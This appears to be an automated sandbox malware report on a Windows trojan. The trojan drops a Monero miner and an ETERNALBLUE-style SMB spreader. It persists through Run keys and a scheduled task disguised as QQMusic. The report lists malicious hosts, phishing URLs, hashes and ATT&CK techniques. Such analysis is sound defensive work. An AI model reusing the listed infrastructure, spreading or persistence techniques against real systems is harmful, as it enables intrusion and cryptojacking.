Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 27_2_0112C038 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

27_2_0112C038

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	1 System Time Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	211 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	11 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	5 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	87%	ReversingLabs	Win32.Trojan.Vindor
file.exe	100%	Avira	TR/ATRAPS.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Svchocpu.exe	100%	Avira	TR/Miner.aexgz
C:\ProgramData\spread.txt	100%	Avira	TR/ATRAPS.Gen
C:\ProgramData\X86.dll	100%	Avira	HEUR/AGEN.1303057
C:\ProgramData\SMB.exe	100%	Joe Sandbox ML
C:\ProgramData\Svchocpu.exe	100%	Joe Sandbox ML
C:\ProgramData\spread.txt	100%	Joe Sandbox ML
C:\ProgramData\X86.dll	100%	Joe Sandbox ML
C:\ProgramData\SMB.exe	75%	ReversingLabs	Win32.Exploit.ShadowBrokers
C:\ProgramData\Svchocpu.exe	70%	ReversingLabs	Win64.Coinminer.Luciminer
C:\ProgramData\spread.txt	87%	ReversingLabs	Win32.Trojan.Vindor

Name	IP	Active	Malicious	Reputation
www.eqwedasda.xyz	150.138.72.102	true	true	unknown
pool-fr.supportxmr.com	141.94.96.71	true	true	unknown
pool.supportxmr.com	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.baidu.com/search/spider.html)	spread.txt.0.dr	false	unknown
http://www.yzzswt.com	spread.txt.0.dr	false	unknown
https://m.baidu.com/mip/c/s/zhangzifan.com/wechat-user-agent.htmlOS	file.exe, spread.txt.0.dr	false	unknown
http://www.baidu.com/search/spider.html)95.179.220.100Windows	file.exe, spread.txt.0.dr	false	unknown
http://%s:%d/spread.txt	spread.txt.0.dr	false	unknown
http://www.yzzswt.comcmd	file.exe, spread.txt.0.dr	false	unknown
http://192.168.2.6:19490/spread.txt	X86.dll.0.dr	false	unknown
http://www.baidu.com/search/spider.html	spread.txt.0.dr	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
150.138.72.102	www.eqwedasda.xyz	China		137690	CHINATELECOM-SHANDONG-ZAOZHUANG-IDCZaozhuangShandongProvi	true

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.247
192.168.2.127
192.168.2.248
192.168.2.124
192.168.2.245
192.168.2.125
192.168.2.246
192.168.2.128
192.168.2.249
192.168.2.129
192.168.2.240
192.168.2.122
192.168.2.243
192.168.2.123
192.168.2.244
192.168.2.120
192.168.2.241
192.168.2.121
192.168.2.242
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139
192.168.2.250
192.168.2.130
192.168.2.251
192.168.2.91
192.168.2.90
192.168.2.93
192.168.2.133
192.168.2.254
192.168.2.92
192.168.2.134
192.168.2.95
192.168.2.131
192.168.2.252
192.168.2.94
192.168.2.132
192.168.2.253
192.168.2.104
192.168.2.225
192.168.2.105
192.168.2.226
192.168.2.102
192.168.2.223
192.168.2.103
192.168.2.224
192.168.2.108
192.168.2.229
192.168.2.109
192.168.2.106
192.168.2.227
192.168.2.107
192.168.2.228
192.168.2.100
192.168.2.221
192.168.2.101
192.168.2.222
192.168.2.220
192.168.2.115
192.168.2.236
192.168.2.116
192.168.2.237
192.168.2.113
192.168.2.234
192.168.2.114
192.168.2.235
192.168.2.119
192.168.2.117
192.168.2.238
192.168.2.118
192.168.2.239
192.168.2.111

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1536240
Start date and time:	2024-10-17 18:17:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	228
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.mine.winEXE@2056/8@43/100
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.210.172
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Svchocpu.exe, PID 5704 because there are no executed function
Execution Graph export aborted for target Svchocpu.exe, PID 5928 because there are no executed function
Execution Graph export aborted for target file.exe, PID 5700 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtFsControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:18:11	API Interceptor	15408x Sleep call for process: file.exe modified
18:18:13	Task Scheduler	Run new task: QQMusic path: C:\Users\user\Desktop\file.exe
18:18:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run QQMusic C:\Users\user\Desktop\file.exe
18:18:23	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run QQMusic C:\Users\user\Desktop\file.exe
18:18:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run QQMusic C:\Users\user\Desktop\file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool-fr.supportxmr.com	egFMhHSlmf.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	xmr_linux_amd64 (2).elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	xmr_linux_amd64.elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	Q3pEXxmWAD.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	141.94.96.71
	kWYLtJ0Cn1.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.195
	updater.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	xjSglbp263.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	gwRQinPOHB.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINATELECOM-SHANDONG-ZAOZHUANG-IDCZaozhuangShandongProvi	ACUlDwm1DA.elf	Get hash	malicious	Mirai	Browse	150.138.67.225
	xHxOw7Ke26.elf	Get hash	malicious	Mirai	Browse	150.138.67.240
	HDIlMkqr64	Get hash	malicious	Mirai	Browse	150.138.67.253
	8faPwhwOUp	Get hash	malicious	Mirai	Browse	150.138.67.245

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://app.box.com/s/31qyz1c96enmcfz69wagekhrn2w5hce9	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.45 20.12.23.50
	https://newsletter.yuppiechef.com/m/b22fbc43-5c9b-4512-8142-73d63b4fca71/ed8a7a2a-af07-4e9a-b6ac-66041aa91f60/0?url=https://deevapayon.com/wp-admin/includes/redirect#bWFyay5sZXdpc0Bsb2dpY2FsaXMuY29t?	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.246.45 20.12.23.50
	https://tmprod10067889ext.b2clogin.us/tmprod10067889ext.onmicrosoft.us/B2C_1A_Customer_Signup_Invitation/oauth2/v2.0/authorize?client_id=a852dfcc-b0c0-4774-9f4f-ad8c29e1a735&nonce=af9ba7a9-72c6-4409-839a-ac38ce970f76&redirect_uri=https%3A%2F%2Fconnect.irs.gov%2Fsystem%2Ftemplates%2Fchat%2Fcustom%2Fvascripts%2Fregistration.html&scope=openid&response_type=id_token&id_token_hint=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdWQiOiJhODUyZGZjYy1iMGMwLTQ3NzQtOWY0Zi1hZDhjMjllMWE3MzUiLCJwcm9kdWN0VGVtcGxhdGUiOiJlZ2FpbiIsIm5iZiI6MTcyOTE0OTQxMywic3VyTmFtZSI6IlNjaHJvdGUiLCJnaXZlbk5hbWUiOiJNaWNoZWxsZSIsImlzcyI6Imh0dHBzOi8vY29ubmVjdC5pcnMuZ292IiwiZXhwIjoxNzI5NDA4NjEzLCJlbWFpbCI6Im1zY2hyb3RlQGNyZ292LmNvbSJ9.e0KO2_wTMkdSNqm7Vpm55VA0OP7vuzA-LcvWOwe6XspWjWkqHMIRJZiE57gdM0JyU4olxr9w4tMQBKcpLGFOiOZv1oawaBoXV5AidV_aegc3vd2IYUuq2bVMGK7iF_Skv8VodKQndviPUmlWfzEzc-kV_u2b1hta5LNfX9B_xK65vtf1Zh4Y1rOkW5Ruv-Spe-8zOUIOeWgA9vuX00d1_Nuz5HNdfReQ3sxfQsyay5TmfYDvAh72menDTDmKRD_0GJDw7dWWkCYakTh-fjzkq39MwapVY3U0zbjhnxoW89VKaOF9GQFRYoNlLU9DHRWgznC-GkAdIU8mswVlGkkLng	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.45 20.12.23.50
	https://foundersedition.lk/invoice_receipt.html	Get hash	malicious	WinSearchAbuse	Browse	20.109.210.53 13.107.246.45 20.12.23.50
	https://cnn.compromisedblog.com/XSTc5bEY5TVlBdTVyb1pVN0hFNzRzNW9PLzZnLzZxbzBqeUt5RTBtTFUzNjczOGNsMlB3NURuWjF2cStpdXN2ZmYzWUI3TVZGWWtqcFlEem9nNlUvTHJCeEZ0VTZ2SzFDN2dEd2Zxb0FUOHFmUHR3UjJZMURHOEhveUd6TThqUnhvTVhpbURLMndDemhZY3FteFBZKzZwWmpMV2x3aUJWdzRGZG5IdkdIRnhoTmRTdnZlNE1IUHBCZTdnPT0tLXNnRktmT2VjaXgyVExmS1MtLTFRRWd4cnRWcS9ZQzljNE53S2tBdEE9PQ==?cid=2231760484%3E%20%5Bhttps://cnn.compromisedblog.com/XYmtrY2hhSzZlK09tNXhxSGoxMW1vSjFJdDVrN1N5eUxwQW9WcG9uL2V0NVRyUDhZenRQUWFpcUVhREJWVDV2Uk1FOVZEejMyN0llRU5WRHVvU2Z3eTAyY1NaLzNyS2VCaWdHcWJrRXFWUGdGNVpHbU9ZTUllQT09LS0wQmJWUGFlMUwwMDlHQjJhLS1rbmRxUmNwNVFZSHg3ajFPRVR2Z2dBPT0=?cid=2231760484	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.246.45 20.12.23.50
	https://myabd.co.uk/main/arull.php?7088797967704b53693230746376534d744a54552f5654556f745373777631697371316263494d676b7831516341example.test@test.com	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.45 20.12.23.50
	Ref 3da19258b840a42b7a065792b311c9a8210d3475.html	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.45 20.12.23.50
	http://ghiud.harvis.cloud/4mwBgt17516lNdm1204vejpbatzjo21000KUALJDQWQJDDMWF10719LGSH20036h17	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.45 20.12.23.50
	https://conta.cc/4eKKH8C	Get hash	malicious	Mamba2FA	Browse	20.109.210.53 13.107.246.45 20.12.23.50
	http://ihaveabadreputation.com/	Get hash	malicious	EICAR	Browse	20.109.210.53 13.107.246.45 20.12.23.50
3b5074b1b5d032e5620f69f9f700ff0e	phQqW3qYPD.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.83.247.108 40.115.3.253 40.113.103.199
	Smalsporede.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	40.113.110.67 40.83.247.108 40.115.3.253 40.113.103.199
	phQqW3qYPD.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.83.247.108 40.115.3.253 40.113.103.199
	https://newsletter.yuppiechef.com/m/b22fbc43-5c9b-4512-8142-73d63b4fca71/ed8a7a2a-af07-4e9a-b6ac-66041aa91f60/0?url=https://deevapayon.com/wp-admin/includes/redirect#bWFyay5sZXdpc0Bsb2dpY2FsaXMuY29t?	Get hash	malicious	HTMLPhisher	Browse	40.113.110.67 40.83.247.108 40.115.3.253 40.113.103.199
	https://tmprod10067889ext.b2clogin.us/tmprod10067889ext.onmicrosoft.us/B2C_1A_Customer_Signup_Invitation/oauth2/v2.0/authorize?client_id=a852dfcc-b0c0-4774-9f4f-ad8c29e1a735&nonce=af9ba7a9-72c6-4409-839a-ac38ce970f76&redirect_uri=https%3A%2F%2Fconnect.irs.gov%2Fsystem%2Ftemplates%2Fchat%2Fcustom%2Fvascripts%2Fregistration.html&scope=openid&response_type=id_token&id_token_hint=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdWQiOiJhODUyZGZjYy1iMGMwLTQ3NzQtOWY0Zi1hZDhjMjllMWE3MzUiLCJwcm9kdWN0VGVtcGxhdGUiOiJlZ2FpbiIsIm5iZiI6MTcyOTE0OTQxMywic3VyTmFtZSI6IlNjaHJvdGUiLCJnaXZlbk5hbWUiOiJNaWNoZWxsZSIsImlzcyI6Imh0dHBzOi8vY29ubmVjdC5pcnMuZ292IiwiZXhwIjoxNzI5NDA4NjEzLCJlbWFpbCI6Im1zY2hyb3RlQGNyZ292LmNvbSJ9.e0KO2_wTMkdSNqm7Vpm55VA0OP7vuzA-LcvWOwe6XspWjWkqHMIRJZiE57gdM0JyU4olxr9w4tMQBKcpLGFOiOZv1oawaBoXV5AidV_aegc3vd2IYUuq2bVMGK7iF_Skv8VodKQndviPUmlWfzEzc-kV_u2b1hta5LNfX9B_xK65vtf1Zh4Y1rOkW5Ruv-Spe-8zOUIOeWgA9vuX00d1_Nuz5HNdfReQ3sxfQsyay5TmfYDvAh72menDTDmKRD_0GJDw7dWWkCYakTh-fjzkq39MwapVY3U0zbjhnxoW89VKaOF9GQFRYoNlLU9DHRWgznC-GkAdIU8mswVlGkkLng	Get hash	malicious	Unknown	Browse	40.113.110.67 40.83.247.108 40.115.3.253 40.113.103.199
	https://foundersedition.lk/invoice_receipt.html	Get hash	malicious	WinSearchAbuse	Browse	40.113.110.67 40.83.247.108 40.115.3.253 40.113.103.199
	rJustificantedepago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.113.110.67 40.83.247.108 40.115.3.253 40.113.103.199
	icreatedbeatufiuldayswithniceworkingskillhere.hta	Get hash	malicious	Cobalt Strike	Browse	40.113.110.67 40.83.247.108 40.115.3.253 40.113.103.199
	nicetokissthebestthingsiwantotgetmebackwith.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	40.113.110.67 40.83.247.108 40.115.3.253 40.113.103.199
	New Order_Purchase_202401017.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.83.247.108 40.115.3.253 40.113.103.199

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\Svchocpu.exe	eWineRyMc2.exe	Get hash	malicious	Xmrig	Browse
	x00zm3KVwb.exe	Get hash	malicious	Xmrig	Browse
	4xHN38uqxB.exe	Get hash	malicious	DoublePulsar, ETERNALBLUE, Xmrig	Browse
	UO2z4n1Sxx.exe	Get hash	malicious	Unknown	Browse
	4xHN38uqxB.exe	Get hash	malicious	Xmrig	Browse
	spread.exe	Get hash	malicious	ETERNALBLUE, Xmrig	Browse
	lq9ZRLjglJ.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Variant.Mikey.113879.32606.exe	Get hash	malicious	ETERNALBLUE	Browse
	t5UnDIIByu.exe	Get hash	malicious	ETERNALBLUE	Browse
	http://198.255.70.77:19490/spread.txt	Get hash	malicious	ETERNALBLUE	Browse
C:\ProgramData\SMB.exe	eWineRyMc2.exe	Get hash	malicious	Xmrig	Browse
	x00zm3KVwb.exe	Get hash	malicious	Xmrig	Browse
	4xHN38uqxB.exe	Get hash	malicious	DoublePulsar, ETERNALBLUE, Xmrig	Browse
	UO2z4n1Sxx.exe	Get hash	malicious	Unknown	Browse
	4xHN38uqxB.exe	Get hash	malicious	Xmrig	Browse
	spread.exe	Get hash	malicious	ETERNALBLUE, Xmrig	Browse
	lq9ZRLjglJ.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Variant.Mikey.113879.32606.exe	Get hash	malicious	ETERNALBLUE	Browse
	t5UnDIIByu.exe	Get hash	malicious	ETERNALBLUE	Browse
	http://198.255.70.77:19490/spread.txt	Get hash	malicious	ETERNALBLUE	Browse

Created / dropped Files

C:\ProgramData\SMB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3212420
Entropy (8bit):	7.969529352469518
Encrypted:	false
SSDEEP:	49152:p5/hdAYHnpyL5iNrLzPq/ful7zB/urjiVJuMn/D2lCm6wTE9ZKaJfFH136EE:p5oYHuwN3zPq/fs7FmKDuuLjm6NZnjE
MD5:	7B2F170698522CD844E0423252AD36C1
SHA1:	303AC0AAF0E9F48D4943E57D1EE6C757F2DD48C5
SHA-256:	5214F356F2E8640230E93A95633CD73945C38027B23E76BB5E617C71949F8994
SHA-512:	7155477E6988A16F6D12A0800AB72B9B9B64B97A509324AC0669CEC2A4B82CD81B3481AE2C2D1CE65E73B017CEBB56628D949D6195AAC8F6DDD9625A80789DFA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: eWineRyMc2.exe, Detection: malicious, Browse Filename: x00zm3KVwb.exe, Detection: malicious, Browse Filename: 4xHN38uqxB.exe, Detection: malicious, Browse Filename: UO2z4n1Sxx.exe, Detection: malicious, Browse Filename: 4xHN38uqxB.exe, Detection: malicious, Browse Filename: spread.exe, Detection: malicious, Browse Filename: lq9ZRLjglJ.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Variant.Mikey.113879.32606.exe, Detection: malicious, Browse Filename: t5UnDIIByu.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~............b......b..<....b.....)^......................................... ...... ......%...... ......Rich............PE..L......\............................Y.............@.......................................@.............................4......<.......x............................n..T...........................(...@...............\...L... ....................text...T........................... ..`.rdata..............................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc........... ...n..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\Svchocpu.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1361920
Entropy (8bit):	7.931670167304856
Encrypted:	false
SSDEEP:	24576:1/npaXod6XGw5TbmnENsnYp5g19o+Ng4ucu3rY5r6y9ol4qmsPRjSMbIFbnNW2:Jdrn/nY/gvRN1S3rtos5jSMbOb0
MD5:	23D84A7ED2E8E76D0A13197B74913654
SHA1:	23D04BA674BAFBAD225243DC81CE7ECCD744A35A
SHA-256:	AC530D542A755ECCE6A656EA6309717EC222C34D7E34C61792F3B350A8A29301
SHA-512:	AA6B0100D477214D550B6498787190FC1A8FAFA7C478F9595D45E4E76ECE9888B84DCCA26696500D5710A9D1ACAE4810F2606D8962C46D31F2BDFCDD27BD675C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Joe Sandbox View:	Filename: eWineRyMc2.exe, Detection: malicious, Browse Filename: x00zm3KVwb.exe, Detection: malicious, Browse Filename: 4xHN38uqxB.exe, Detection: malicious, Browse Filename: UO2z4n1Sxx.exe, Detection: malicious, Browse Filename: 4xHN38uqxB.exe, Detection: malicious, Browse Filename: spread.exe, Detection: malicious, Browse Filename: lq9ZRLjglJ.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Variant.Mikey.113879.32606.exe, Detection: malicious, Browse Filename: t5UnDIIByu.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........*...Kd..Kd..Kd.[...Kd.[..\Kd.[...Kd.q...Kd...g..Kd...a.Kd...`..Kd.x.`..Kd.2....Kd..Ke.Jd.}.`..Id.x.m.bKd.}.g..Kd.}....Kd.x.f..Kd.Rich.Kd.........................PE..d...z=5^.........."..............`O..+d..pO....@.............................@d...........`..................................................1d......0d.......`..............3d.............................(.d.(...l.d.............................................UPX0.....`O.............................UPX1.........pO.....................@....rsrc........0d.....................@......................................................................................................................................................................................................................................................................................................................3.91.UPX!.$..

C:\ProgramData\X64.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	87552
Entropy (8bit):	5.835842990779986
Encrypted:	false
SSDEEP:	1536:lvAN3Gvo0Ks2/nq2e2+KkFsbUEgfazCa/2+T6CXO7iPGzvsWwdc9dlEH0cnacFBc:lvAN3R1Xfq26KkFsb36uCa/2+T6CXO7M
MD5:	13E85FA174A8AC2804E841BF5FD52285
SHA1:	33BF51C7812E7E6E77C3989FBE071E258E348F3E
SHA-256:	490F21B9419ED290B6C2866B62EDF4844B84E24D8B05275116C1F6B0D6577F5D
SHA-512:	0DAD82A42C539ABD7A2C0E0DDF1AE45CC0E3BA5662EE2AA6A8ABAEBC1CF99C9D82A21D53752CF93BA3C94EC5A59499DBA1C980F8C30E9078CFD56831A56FDEBB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\ProgramData\X64.dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........EM..+...+...+.(z....+.(z....+.(z....+...(...+.......+.../...+.A.....+...*...+..."...+.......+...)...+.Rich..+.................PE..d.....B^.........." ......................................................................`.................................................LC..d............p......................`5..8............................5...............................................text... ........................... ..`.rdata..............................@..@.data........P.......2..............@....pdata.......p.......<..............@..@.gfids...............J..............@..@.rsrc................L..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................

